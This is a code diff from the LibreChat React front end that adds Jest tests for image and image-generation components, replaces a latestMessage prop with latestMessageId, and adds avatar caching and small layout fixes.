const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]); const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
@ -46,5 +46,6 @@ const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) =>
</div> </div>
); );
}); });
TextPart.displayName = 'TextPart';
export default TextPart; export default TextPart;

View file

@ -0,0 +1,179 @@
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
import Image, { _resetImageCaches } from '../Image';
jest.mock('~/utils', () => ({
cn: (...classes: (string | boolean | undefined | null)[]) =>
classes
.flat(Infinity)
.filter((c): c is string => typeof c === 'string' && c.length > 0)
.join(' '),
}));
jest.mock('librechat-data-provider', () => ({
apiBaseUrl: () => '',
}));
jest.mock('@librechat/client', () => ({
Skeleton: ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
<div data-testid="skeleton" className={className} {...props} />
),
}));
jest.mock('../DialogImage', () => ({
__esModule: true,
default: ({ isOpen, src }: { isOpen: boolean; src: string }) =>
isOpen ? <div data-testid="dialog-image" data-src={src} /> : null,
}));
describe('Image', () => {
const defaultProps = {
imagePath: '/images/test.png',
altText: 'Test image',
};
beforeEach(() => {
_resetImageCaches();
jest.clearAllMocks();
});
describe('rendering without dimensions', () => {
it('renders with max-h-[45vh] height constraint', () => {
render(<Image {...defaultProps} />);
const img = screen.getByRole('img');
expect(img.className).toContain('max-h-[45vh]');
});
it('renders with max-w-full to prevent landscape clipping', () => {
render(<Image {...defaultProps} />);
const img = screen.getByRole('img');
expect(img.className).toContain('max-w-full');
});
it('renders with w-auto and h-auto for natural aspect ratio', () => {
render(<Image {...defaultProps} />);
const img = screen.getByRole('img');
expect(img.className).toContain('w-auto');
expect(img.className).toContain('h-auto');
});
it('does not show skeleton without dimensions', () => {
render(<Image {...defaultProps} />);
expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
});
it('does not apply heightStyle without dimensions', () => {
render(<Image {...defaultProps} />);
const button = screen.getByRole('button');
expect(button.style.height).toBeFalsy();
});
});
describe('rendering with dimensions', () => {
it('shows skeleton behind image', () => {
render(<Image {...defaultProps} width={1024} height={1792} />);
expect(screen.getByTestId('skeleton')).toBeInTheDocument();
});
it('applies computed heightStyle to button', () => {
render(<Image {...defaultProps} width={1024} height={1792} />);
const button = screen.getByRole('button');
expect(button.style.height).toBeTruthy();
expect(button.style.height).toContain('min(45vh');
});
it('uses size-full object-contain on image when dimensions provided', () => {
render(<Image {...defaultProps} width={768} height={916} />);
const img = screen.getByRole('img');
expect(img.className).toContain('size-full');
expect(img.className).toContain('object-contain');
});
it('skeleton is absolute inset-0', () => {
render(<Image {...defaultProps} width={512} height={512} />);
const skeleton = screen.getByTestId('skeleton');
expect(skeleton.className).toContain('absolute');
expect(skeleton.className).toContain('inset-0');
});
it('marks URL as painted on load and skips skeleton on rerender', () => {
const { rerender } = render(<Image {...defaultProps} width={512} height={512} />);
const img = screen.getByRole('img');
expect(screen.getByTestId('skeleton')).toBeInTheDocument();
fireEvent.load(img);
// Rerender same component — skeleton should not show (URL painted)
rerender(<Image {...defaultProps} width={512} height={512} />);
expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
});
});
describe('common behavior', () => {
it('applies custom className to the button wrapper', () => {
render(<Image {...defaultProps} className="mb-4" />);
const button = screen.getByRole('button');
expect(button.className).toContain('mb-4');
});
it('sets correct alt text', () => {
render(<Image {...defaultProps} />);
const img = screen.getByRole('img');
expect(img).toHaveAttribute('alt', 'Test image');
});
it('has correct accessibility attributes on button', () => {
render(<Image {...defaultProps} />);
const button = screen.getByRole('button');
expect(button).toHaveAttribute('aria-label', 'View Test image in dialog');
expect(button).toHaveAttribute('aria-haspopup', 'dialog');
});
});
describe('dialog interaction', () => {
it('opens dialog on button click', () => {
render(<Image {...defaultProps} />);
expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument();
const button = screen.getByRole('button');
fireEvent.click(button);
expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
});
it('dialog is always mounted (not gated by load state)', () => {
render(<Image {...defaultProps} />);
// DialogImage mock returns null when isOpen=false, but the component is in the tree
// Clicking should immediately show it
fireEvent.click(screen.getByRole('button'));
expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
});
});
describe('image URL resolution', () => {
it('passes /images/ paths through with base URL', () => {
render(<Image {...defaultProps} imagePath="/images/test.png" />);
const img = screen.getByRole('img');
expect(img).toHaveAttribute('src', '/images/test.png');
});
it('passes absolute http URLs through unchanged', () => {
render(<Image {...defaultProps} imagePath="https://example.com/photo.jpg" />);
const img = screen.getByRole('img');
expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg');
});
it('passes data URIs through unchanged', () => {
render(<Image {...defaultProps} imagePath="data:image/png;base64,abc" />);
const img = screen.getByRole('img');
expect(img).toHaveAttribute('src', 'data:image/png;base64,abc');
});
it('passes non-/images/ paths through unchanged', () => {
render(<Image {...defaultProps} imagePath="/other/path.png" />);
const img = screen.getByRole('img');
expect(img).toHaveAttribute('src', '/other/path.png');
});
});
});

View file

@ -0,0 +1,182 @@
import React from 'react';
import { render, screen } from '@testing-library/react';
import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen';
jest.mock('~/utils', () => ({
cn: (...classes: (string | boolean | undefined | null)[]) =>
classes
.flat(Infinity)
.filter((c): c is string => typeof c === 'string' && c.length > 0)
.join(' '),
}));
jest.mock('~/hooks', () => ({
useLocalize: () => (key: string) => key,
}));
jest.mock('~/components/Chat/Messages/Content/Image', () => ({
__esModule: true,
default: ({
altText,
imagePath,
className,
}: {
altText: string;
imagePath: string;
className?: string;
}) => (
<div
data-testid="image-component"
data-alt={altText}
data-src={imagePath}
className={className}
/>
),
}));
jest.mock('@librechat/client', () => ({
PixelCard: ({ progress }: { progress: number }) => (
<div data-testid="pixel-card" data-progress={progress} />
),
}));
jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({
__esModule: true,
default: ({ progress, error }: { progress: number; error: boolean }) => (
<div data-testid="progress-text" data-progress={progress} data-error={String(error)} />
),
}));
describe('OpenAIImageGen', () => {
const defaultProps = {
initialProgress: 0.1,
isSubmitting: true,
toolName: 'image_gen_oai',
args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}',
output: null as string | null,
attachments: undefined,
};
beforeEach(() => {
jest.clearAllMocks();
jest.useFakeTimers();
});
afterEach(() => {
jest.useRealTimers();
});
describe('image preloading', () => {
it('keeps Image mounted during generation (progress < 1)', () => {
render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
expect(screen.getByTestId('image-component')).toBeInTheDocument();
});
it('hides Image with invisible absolute while progress < 1', () => {
render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
const image = screen.getByTestId('image-component');
expect(image.className).toContain('invisible');
expect(image.className).toContain('absolute');
});
it('shows Image without hiding classes when progress >= 1', () => {
render(
<OpenAIImageGen
{...defaultProps}
initialProgress={1}
isSubmitting={false}
attachments={[
{
filename: 'cat.png',
filepath: '/images/cat.png',
conversationId: 'conv1',
} as never,
]}
/>,
);
const image = screen.getByTestId('image-component');
expect(image.className).not.toContain('invisible');
expect(image.className).not.toContain('absolute');
});
});
describe('PixelCard visibility', () => {
it('shows PixelCard when progress < 1', () => {
render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
expect(screen.getByTestId('pixel-card')).toBeInTheDocument();
});
it('hides PixelCard when progress >= 1', () => {
render(<OpenAIImageGen {...defaultProps} initialProgress={1} isSubmitting={false} />);
expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument();
});
});
describe('layout classes', () => {
it('applies max-h-[45vh] to the outer container', () => {
const { container } = render(<OpenAIImageGen {...defaultProps} />);
const outerDiv = container.querySelector('[class*="max-h-"]');
expect(outerDiv?.className).toContain('max-h-[45vh]');
});
it('applies h-[45vh] w-full to inner container during loading', () => {
const { container } = render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
const innerDiv = container.querySelector('[class*="h-[45vh]"]');
expect(innerDiv).not.toBeNull();
expect(innerDiv?.className).toContain('w-full');
});
it('applies w-auto to inner container when complete', () => {
const { container } = render(
<OpenAIImageGen {...defaultProps} initialProgress={1} isSubmitting={false} />,
);
const overflowDiv = container.querySelector('[class*="overflow-hidden"]');
expect(overflowDiv?.className).toContain('w-auto');
});
});
describe('args parsing', () => {
it('parses quality from args', () => {
render(<OpenAIImageGen {...defaultProps} />);
expect(screen.getByTestId('progress-text')).toBeInTheDocument();
});
it('handles invalid JSON args gracefully', () => {
const consoleSpy = jest.spyOn(console, 'error').mockImplementation();
render(<OpenAIImageGen {...defaultProps} args="invalid json" />);
expect(screen.getByTestId('image-component')).toBeInTheDocument();
consoleSpy.mockRestore();
});
it('handles object args', () => {
render(
<OpenAIImageGen
{...defaultProps}
args={{ prompt: 'a dog', quality: 'low', size: '512x512' }}
/>,
);
expect(screen.getByTestId('image-component')).toBeInTheDocument();
});
});
describe('cancellation', () => {
it('shows error state when output contains error', () => {
render(
<OpenAIImageGen
{...defaultProps}
output="Error processing tool call"
isSubmitting={false}
initialProgress={0.5}
/>,
);
const progressText = screen.getByTestId('progress-text');
expect(progressText).toHaveAttribute('data-error', 'true');
});
it('shows cancelled state when not submitting and incomplete', () => {
render(<OpenAIImageGen {...defaultProps} isSubmitting={false} initialProgress={0.5} />);
const progressText = screen.getByTestId('progress-text');
expect(progressText).toHaveAttribute('data-error', 'true');
});
});
});

View file

@ -18,7 +18,7 @@ type THoverButtons = {
message: TMessage; message: TMessage;
regenerate: () => void; regenerate: () => void;
handleContinue: (e: React.MouseEvent<HTMLButtonElement>) => void; handleContinue: (e: React.MouseEvent<HTMLButtonElement>) => void;
latestMessage: TMessage | null; latestMessageId?: string;
isLast: boolean; isLast: boolean;
index: number; index: number;
handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void; handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
@ -119,7 +119,7 @@ const HoverButtons = ({
message, message,
regenerate, regenerate,
handleContinue, handleContinue,
latestMessage, latestMessageId,
isLast, isLast,
handleFeedback, handleFeedback,
}: THoverButtons) => { }: THoverButtons) => {
@ -143,7 +143,7 @@ const HoverButtons = ({
searchResult: message.searchResult, searchResult: message.searchResult,
finish_reason: message.finish_reason, finish_reason: message.finish_reason,
isCreatedByUser: message.isCreatedByUser, isCreatedByUser: message.isCreatedByUser,
latestMessageId: latestMessage?.messageId, latestMessageId: latestMessageId,
}); });
const { const {
@ -239,7 +239,7 @@ const HoverButtons = ({
messageId={message.messageId} messageId={message.messageId}
conversationId={conversation.conversationId} conversationId={conversation.conversationId}
forkingSupported={forkingSupported} forkingSupported={forkingSupported}
latestMessageId={latestMessage?.messageId} latestMessageId={latestMessageId}
isLast={isLast} isLast={isLast}
/> />

View file

@ -4,25 +4,23 @@ import type { TMessageProps } from '~/common';
import MessageRender from './ui/MessageRender'; import MessageRender from './ui/MessageRender';
import MultiMessage from './MultiMessage'; import MultiMessage from './MultiMessage';
const MessageContainer = React.memo( const MessageContainer = React.memo(function MessageContainer({
({ handleScroll,
handleScroll, children,
children, }: {
}: { handleScroll: (event?: unknown) => void;
handleScroll: (event?: unknown) => void; children: React.ReactNode;
children: React.ReactNode; }) {
}) => { return (
return ( <div
<div className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent" onWheel={handleScroll}
onWheel={handleScroll} onTouchMove={handleScroll}
onTouchMove={handleScroll} >
> {children}
{children} </div>
</div> );
); });
},
);
export default function Message(props: TMessageProps) { export default function Message(props: TMessageProps) {
const { conversation, handleScroll } = useMessageProcess({ const { conversation, handleScroll } = useMessageProcess({

View file

@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) {
handleScroll, handleScroll,
conversation, conversation,
isSubmitting, isSubmitting,
latestMessage, latestMessageId,
handleContinue, handleContinue,
copyToClipboard, copyToClipboard,
regenerateMessage, regenerateMessage,
@ -129,7 +129,7 @@ export default function Message(props: TMessageProps) {
</h2> </h2>
)} )}
<div className="flex flex-col gap-1"> <div className="flex flex-col gap-1">
<div className="flex max-w-full flex-grow flex-col gap-0"> <div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
<ContentParts <ContentParts
edit={edit} edit={edit}
isLast={isLast} isLast={isLast}
@ -142,12 +142,12 @@ export default function Message(props: TMessageProps) {
setSiblingIdx={setSiblingIdx} setSiblingIdx={setSiblingIdx}
isCreatedByUser={message.isCreatedByUser} isCreatedByUser={message.isCreatedByUser}
conversationId={conversation?.conversationId} conversationId={conversation?.conversationId}
isLatestMessage={messageId === latestMessage?.messageId} isLatestMessage={messageId === latestMessageId}
content={message.content as Array<TMessageContentParts | undefined>} content={message.content as Array<TMessageContentParts | undefined>}
/> />
</div> </div>
{isLast && isSubmitting ? ( {isLast && isSubmitting ? (
<div className="mt-1 h-[27px] bg-transparent" /> <div className="mt-1 h-[31px] bg-transparent" />
) : ( ) : (
<SubRow classes="text-xs"> <SubRow classes="text-xs">
<SiblingSwitch <SiblingSwitch
@ -165,7 +165,7 @@ export default function Message(props: TMessageProps) {
regenerate={() => regenerateMessage()} regenerate={() => regenerateMessage()}
copyToClipboard={copyToClipboard} copyToClipboard={copyToClipboard}
handleContinue={handleContinue} handleContinue={handleContinue}
latestMessage={latestMessage} latestMessageId={latestMessageId}
isLast={isLast} isLast={isLast}
/> />
</SubRow> </SubRow>

View file

@ -4,11 +4,11 @@ import { useRecoilValue } from 'recoil';
import { type TMessage } from 'librechat-data-provider'; import { type TMessage } from 'librechat-data-provider';
import type { TMessageProps, TMessageIcon } from '~/common'; import type { TMessageProps, TMessageIcon } from '~/common';
import MessageContent from '~/components/Chat/Messages/Content/MessageContent'; import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow'; import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch'; import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
import HoverButtons from '~/components/Chat/Messages/HoverButtons'; import HoverButtons from '~/components/Chat/Messages/HoverButtons';
import MessageIcon from '~/components/Chat/Messages/MessageIcon'; import MessageIcon from '~/components/Chat/Messages/MessageIcon';
import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
import SubRow from '~/components/Chat/Messages/SubRow'; import SubRow from '~/components/Chat/Messages/SubRow';
import { cn, getMessageAriaLabel } from '~/utils'; import { cn, getMessageAriaLabel } from '~/utils';
import { fontSizeAtom } from '~/store/fontSize'; import { fontSizeAtom } from '~/store/fontSize';
@ -23,180 +23,183 @@ type MessageRenderProps = {
'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount' 'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
>; >;
const MessageRender = memo( const MessageRender = memo(function MessageRender({
({ message: msg,
siblingIdx,
siblingCount,
setSiblingIdx,
currentEditId,
setCurrentEditId,
isSubmitting = false,
}: MessageRenderProps) {
const localize = useLocalize();
const {
ask,
edit,
index,
agent,
assistant,
enterEdit,
conversation,
messageLabel,
handleFeedback,
handleContinue,
latestMessageId,
copyToClipboard,
regenerateMessage,
latestMessageDepth,
} = useMessageActions({
message: msg, message: msg,
siblingIdx,
siblingCount,
setSiblingIdx,
currentEditId, currentEditId,
setCurrentEditId, setCurrentEditId,
isSubmitting = false, });
}: MessageRenderProps) => { const fontSize = useAtomValue(fontSizeAtom);
const localize = useLocalize(); const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
const {
ask, const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
edit, const hasNoChildren = !(msg?.children?.length ?? 0);
index, const isLast = useMemo(
agent, () => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1),
assistant, [hasNoChildren, msg?.depth, latestMessageDepth],
enterEdit, );
conversation, const isLatestMessage = msg?.messageId === latestMessageId;
/** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
const iconData: TMessageIcon = useMemo(
() => ({
endpoint: msg?.endpoint ?? conversation?.endpoint,
model: msg?.model ?? conversation?.model,
iconURL: msg?.iconURL,
modelLabel: messageLabel,
isCreatedByUser: msg?.isCreatedByUser,
}),
[
messageLabel, messageLabel,
latestMessage, conversation?.endpoint,
handleFeedback, conversation?.model,
handleContinue, msg?.model,
copyToClipboard, msg?.iconURL,
regenerateMessage, msg?.endpoint,
} = useMessageActions({ msg?.isCreatedByUser,
message: msg, ],
currentEditId, );
setCurrentEditId,
});
const fontSize = useAtomValue(fontSizeAtom);
const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]); const { hasParallelContent } = useContentMetadata(msg);
const hasNoChildren = !(msg?.children?.length ?? 0); const messageId = msg?.messageId ?? '';
const isLast = useMemo( const messageContextValue = useMemo(
() => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1), () => ({
[hasNoChildren, msg?.depth, latestMessage?.depth], messageId,
); isLatestMessage,
const isLatestMessage = msg?.messageId === latestMessage?.messageId; isExpanded: false as const,
/** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */ isSubmitting: effectiveIsSubmitting,
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; conversationId: conversation?.conversationId,
}),
[messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage],
);
const iconData: TMessageIcon = useMemo( if (!msg) {
() => ({ return null;
endpoint: msg?.endpoint ?? conversation?.endpoint, }
model: msg?.model ?? conversation?.model,
iconURL: msg?.iconURL,
modelLabel: messageLabel,
isCreatedByUser: msg?.isCreatedByUser,
}),
[
messageLabel,
conversation?.endpoint,
conversation?.model,
msg?.model,
msg?.iconURL,
msg?.endpoint,
msg?.isCreatedByUser,
],
);
const { hasParallelContent } = useContentMetadata(msg); const getChatWidthClass = () => {
if (maximizeChatSpace) {
if (!msg) { return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
return null;
} }
if (hasParallelContent) {
return 'md:max-w-[58rem] xl:max-w-[70rem]';
}
return 'md:max-w-[47rem] xl:max-w-[55rem]';
};
const getChatWidthClass = () => { const baseClasses = {
if (maximizeChatSpace) { common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5'; chat: getChatWidthClass(),
} };
if (hasParallelContent) {
return 'md:max-w-[58rem] xl:max-w-[70rem]';
}
return 'md:max-w-[47rem] xl:max-w-[55rem]';
};
const baseClasses = { const conditionalClasses = {
common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ', focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
chat: getChatWidthClass(), };
};
const conditionalClasses = { return (
focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy', <div
}; id={msg.messageId}
aria-label={getMessageAriaLabel(msg, localize)}
className={cn(
baseClasses.common,
baseClasses.chat,
conditionalClasses.focus,
'message-render',
)}
>
{!hasParallelContent && (
<div className="relative flex flex-shrink-0 flex-col items-center">
<div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
<MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
</div>
</div>
)}
return (
<div <div
id={msg.messageId}
aria-label={getMessageAriaLabel(msg, localize)}
className={cn( className={cn(
baseClasses.common, 'relative flex flex-col',
baseClasses.chat, hasParallelContent ? 'w-full' : 'w-11/12',
conditionalClasses.focus, msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
'message-render',
)} )}
> >
{!hasParallelContent && ( {!hasParallelContent && (
<div className="relative flex flex-shrink-0 flex-col items-center"> <h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
<div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
<MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
</div>
</div>
)} )}
<div <div className="flex flex-col gap-1">
className={cn( <div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
'relative flex flex-col', <MessageContext.Provider value={messageContextValue}>
hasParallelContent ? 'w-full' : 'w-11/12', <MessageContent
msg.isCreatedByUser ? 'user-turn' : 'agent-turn', ask={ask}
)} edit={edit}
> isLast={isLast}
{!hasParallelContent && ( text={msg.text || ''}
<h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2> message={msg}
)} enterEdit={enterEdit}
error={!!(msg.error ?? false)}
<div className="flex flex-col gap-1"> isSubmitting={effectiveIsSubmitting}
<div className="flex max-w-full flex-grow flex-col gap-0"> unfinished={msg.unfinished ?? false}
<MessageContext.Provider isCreatedByUser={msg.isCreatedByUser ?? true}
value={{ siblingIdx={siblingIdx ?? 0}
messageId: msg.messageId, setSiblingIdx={setSiblingIdx ?? (() => ({}))}
conversationId: conversation?.conversationId, />
isExpanded: false, </MessageContext.Provider>
isSubmitting: effectiveIsSubmitting,
isLatestMessage,
}}
>
<MessageContent
ask={ask}
edit={edit}
isLast={isLast}
text={msg.text || ''}
message={msg}
enterEdit={enterEdit}
error={!!(msg.error ?? false)}
isSubmitting={effectiveIsSubmitting}
unfinished={msg.unfinished ?? false}
isCreatedByUser={msg.isCreatedByUser ?? true}
siblingIdx={siblingIdx ?? 0}
setSiblingIdx={setSiblingIdx ?? (() => ({}))}
/>
</MessageContext.Provider>
</div>
{hasNoChildren && effectiveIsSubmitting ? (
<PlaceholderRow />
) : (
<SubRow classes="text-xs">
<SiblingSwitch
siblingIdx={siblingIdx}
siblingCount={siblingCount}
setSiblingIdx={setSiblingIdx}
/>
<HoverButtons
index={index}
isEditing={edit}
message={msg}
enterEdit={enterEdit}
isSubmitting={isSubmitting}
conversation={conversation ?? null}
regenerate={handleRegenerateMessage}
copyToClipboard={copyToClipboard}
handleContinue={handleContinue}
latestMessage={latestMessage}
handleFeedback={handleFeedback}
isLast={isLast}
/>
</SubRow>
)}
</div> </div>
{hasNoChildren && effectiveIsSubmitting ? (
<PlaceholderRow />
) : (
<SubRow classes="text-xs">
<SiblingSwitch
siblingIdx={siblingIdx}
siblingCount={siblingCount}
setSiblingIdx={setSiblingIdx}
/>
<HoverButtons
index={index}
isEditing={edit}
message={msg}
enterEdit={enterEdit}
isSubmitting={isSubmitting}
conversation={conversation ?? null}
regenerate={handleRegenerateMessage}
copyToClipboard={copyToClipboard}
handleContinue={handleContinue}
latestMessageId={latestMessageId}
handleFeedback={handleFeedback}
isLast={isLast}
/>
</SubRow>
)}
</div> </div>
</div> </div>
); </div>
}, );
); });
MessageRender.displayName = 'MessageRender';
export default MessageRender; export default MessageRender;

View file

@ -1,7 +1,9 @@
import { memo } from 'react'; import { memo } from 'react';
const PlaceholderRow = memo(() => { /** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */
return <div className="mt-1 h-[27px] bg-transparent" />; const PlaceholderRow = memo(function PlaceholderRow() {
return <div className="mt-1 h-[31px] bg-transparent" />;
}); });
PlaceholderRow.displayName = 'PlaceholderRow';
export default PlaceholderRow; export default PlaceholderRow;

View file

@ -1,8 +1,8 @@
import React from 'react'; import React from 'react';
import { useRecoilValue } from 'recoil';
import { TooltipAnchor } from '@librechat/client'; import { TooltipAnchor } from '@librechat/client';
import { MessageCircleDashed } from 'lucide-react'; import { MessageCircleDashed } from 'lucide-react';
import { useRecoilState, useRecoilCallback } from 'recoil'; import { useRecoilState, useRecoilCallback } from 'recoil';
import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks'; import { useLocalize } from '~/hooks';
import { cn } from '~/utils'; import { cn } from '~/utils';
import store from '~/store'; import store from '~/store';
@ -10,13 +10,8 @@ import store from '~/store';
export function TemporaryChat() { export function TemporaryChat() {
const localize = useLocalize(); const localize = useLocalize();
const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary); const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
const { conversation, isSubmitting } = useChatContext(); const conversation = useRecoilValue(store.conversationByIndex(0));
const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
const temporaryBadge = {
id: 'temporary',
atom: store.isTemporary,
isAvailable: true,
};
const handleBadgeToggle = useRecoilCallback( const handleBadgeToggle = useRecoilCallback(
() => () => { () => () => {

View file

@ -1,64 +1,102 @@
import React, { memo, useState } from 'react'; import React, { memo } from 'react';
import { UserIcon, useAvatar } from '@librechat/client'; import { UserIcon, useAvatar } from '@librechat/client';
import type { TUser } from 'librechat-data-provider';
import type { IconProps } from '~/common'; import type { IconProps } from '~/common';
import MessageEndpointIcon from './MessageEndpointIcon'; import MessageEndpointIcon from './MessageEndpointIcon';
import { useAuthContext } from '~/hooks/AuthContext'; import { useAuthContext } from '~/hooks/AuthContext';
import { useLocalize } from '~/hooks'; import { useLocalize } from '~/hooks';
import { cn } from '~/utils'; import { cn } from '~/utils';
type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' };
/**
* Caches the resolved avatar decision per user ID.
* Invalidated when `user.avatar` changes (e.g., settings upload).
* Tracks failed image URLs so they fall back to SVG permanently for the session.
*/
const avatarCache = new Map<
string,
{ avatar: string; avatarSrc: string; resolved: ResolvedAvatar }
>();
const failedUrls = new Set<string>();
function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar {
if (!userId) {
const imgSrc = userAvatar || avatarSrc;
return imgSrc && !failedUrls.has(imgSrc)
? { type: 'image', src: imgSrc }
: { type: 'fallback' };
}
const cached = avatarCache.get(userId);
if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) {
return cached.resolved;
}
const imgSrc = userAvatar || avatarSrc;
const resolved: ResolvedAvatar =
imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' };
avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved });
return resolved;
}
function markAvatarFailed(userId: string, src: string): ResolvedAvatar {
failedUrls.add(src);
const fallback: ResolvedAvatar = { type: 'fallback' };
const cached = avatarCache.get(userId);
if (cached) {
avatarCache.set(userId, { ...cached, resolved: fallback });
}
return fallback;
}
type UserAvatarProps = { type UserAvatarProps = {
size: number; size: number;
user?: TUser; avatar: string;
avatarSrc: string; avatarSrc: string;
userId: string;
username: string; username: string;
className?: string; className?: string;
}; };
const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => { const UserAvatar = memo(
const [imageError, setImageError] = useState(false); ({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => {
const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc));
const handleImageError = () => { React.useEffect(() => {
setImageError(true); setResolved(resolveAvatar(userId, avatar, avatarSrc));
}; }, [userId, avatar, avatarSrc]);
const renderDefaultAvatar = () => ( return (
<div <div
style={{ title={username}
backgroundColor: 'rgb(121, 137, 255)', style={{ width: size, height: size }}
width: '20px', className={cn('relative flex items-center justify-center', className ?? '')}
height: '20px', >
boxShadow: 'rgba(240, 246, 252, 0.1) 0px 0px 0px 1px', {resolved.type === 'image' ? (
}} <img
className="relative flex h-9 w-9 items-center justify-center rounded-sm p-1 text-white" className="rounded-full"
> src={resolved.src}
<UserIcon /> alt="avatar"
</div> onError={() => setResolved(markAvatarFailed(userId, resolved.src))}
); />
) : (
return ( <div
<div style={{
title={username} backgroundColor: 'rgb(121, 137, 255)',
style={{ width: '20px',
width: size, height: '20px',
height: size, boxShadow: 'rgba(240, 246, 252, 0.1) 0px 0px 0px 1px',
}} }}
className={cn('relative flex items-center justify-center', className ?? '')} className="relative flex h-9 w-9 items-center justify-center rounded-sm p-1 text-white"
> >
{(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) || <UserIcon />
imageError ? ( </div>
renderDefaultAvatar() )}
) : ( </div>
<img );
className="rounded-full" },
src={(user?.avatar ?? '') || avatarSrc} );
alt="avatar"
onError={handleImageError}
/>
)}
</div>
);
});
UserAvatar.displayName = 'UserAvatar'; UserAvatar.displayName = 'UserAvatar';
@ -74,9 +112,10 @@ const Icon: React.FC<IconProps> = memo((props) => {
return ( return (
<UserAvatar <UserAvatar
size={size} size={size}
user={user}
avatarSrc={avatarSrc} avatarSrc={avatarSrc}
username={username} username={username}
userId={user?.id ?? ''}
avatar={user?.avatar ?? ''}
className={props.className} className={props.className}
/> />
); );

Some files were not shown because too many files have changed in this diff Show more